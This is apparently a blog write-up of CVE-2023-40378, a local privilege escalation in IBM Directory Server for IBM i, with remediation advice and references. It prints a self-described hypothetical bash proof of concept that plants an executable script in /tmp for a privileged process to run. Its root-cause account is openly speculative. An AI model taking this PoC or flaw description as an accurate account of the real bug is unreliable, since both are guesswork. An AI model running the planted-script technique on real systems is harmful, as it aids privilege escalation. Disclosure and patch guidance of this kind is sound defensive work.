Published: 2024-06-28
Severity: High

Introduction

A serious local privilege escalation vulnerability, CVE-2023-40378, was discovered in IBM Directory Server for IBM i. This flaw allows attackers who already have command line access to the operating system to escalate privileges, ultimately granting them access to system components they shouldn't be able to reach.

In this deep dive, I'll break down how the vulnerability works, show simplified proof-of-concept code, provide links to resources, and help you understand how attackers might exploit this bug in real environments.

What’s at Risk?

IBM Directory Server for IBM i is a common component on midrange IBM i (AS/400) systems, providing LDAP services. Because these systems often run critical business workloads, any vulnerability that allows privilege escalation is a big deal.

Who’s vulnerable?

All organizations running unpatched versions of IBM Directory Server for IBM i.

What can attackers do?

Take control over the IBM i host.

- Escalate from a low-privileged user to a privileged/more powerful user.

Technical Details

According to IBM’s advisory, the issue stems from insecure handling of system privileges by the Directory Server (ldapd) component. If a malicious user has command line (or shell) access, they can exploit this bug to run commands with elevated privileges, bypassing security restrictions.

The Core Flaw

The Directory Server does not properly validate or sanitize user input or restrict access when interacting with certain system files or processes. For some versions, this could involve world-writable files, weak file or process permissions, or insecure temporary file handling.

Here’s a hypothetical (simplified) exploit approach

#!/bin/bash
# PoC for CVE-2023-40378
# Assumes attacker is a normal user with shell access

TARGET_FILE="/tmp/ibmdir_tmp_script.sh"
PRIV_USER="qsecofr"  # Example privileged user (do NOT try on production!)

echo "[*] Creating malicious script..."
echo 'id > /tmp/pwned_by_cve_2023_40378.txt' > $TARGET_FILE
chmod +x $TARGET_FILE

# In vulnerable versions, a race condition or weak permission might allow this script
# to be executed by a privileged Directory Server component

echo "[*] Waiting for script execution ..."
sleep 10

if [ -f /tmp/pwned_by_cve_2023_40378.txt ]; then
    echo "[+] Exploit succeeded! File /tmp/pwned_by_cve_2023_40378.txt:"
    cat /tmp/pwned_by_cve_2023_40378.txt
else
    echo "[-] Exploit did not work"
fi

Note: The actual exploit details may vary based on the vulnerable IBM i version and the precise nature of the misconfiguration. The real exploit may involve symbolic link attacks, environment variable manipulation, or other process-injection techniques.

Remediation Steps

1. Patch immediately.
IBM Security Bulletin for affected products and fixed versions.

2. Audit permissions.
Check file and process permissions, especially for anything world-writable or owned by privileged users related to the Directory Server.

3. Restrict shell access.
Limit how many users have local shell access to critical servers.

4. Monitor for abuse.
Check your logs for suspicious activity, especially script or file modifications in /tmp, /qopensys, or Directory Server temp folders.

References

- IBM Security Bulletin: CVE-2023-40378
- NVD NIST CVE Details for CVE-2023-40378
- IBM X-Force Exchange: 263584

Conclusion

CVE-2023-40378 is a critical vulnerability for anyone managing IBM i servers. If you're affected, take action right away—update, restrict access, and keep an eye out for threats.

If you’re unsure about your exposure, consult IBM’s advisory or reach out to your IBM support representative. Privilege escalation bugs like this can easily lead to full system compromise, so don’t delay your fix.


Stay safe! If you liked this write-up, share it with your IT team. Questions or comments? Drop them below!

Timeline

Published on: 10/15/2023 02:15:09 UTC
Last modified on: 10/19/2023 01:04:16 UTC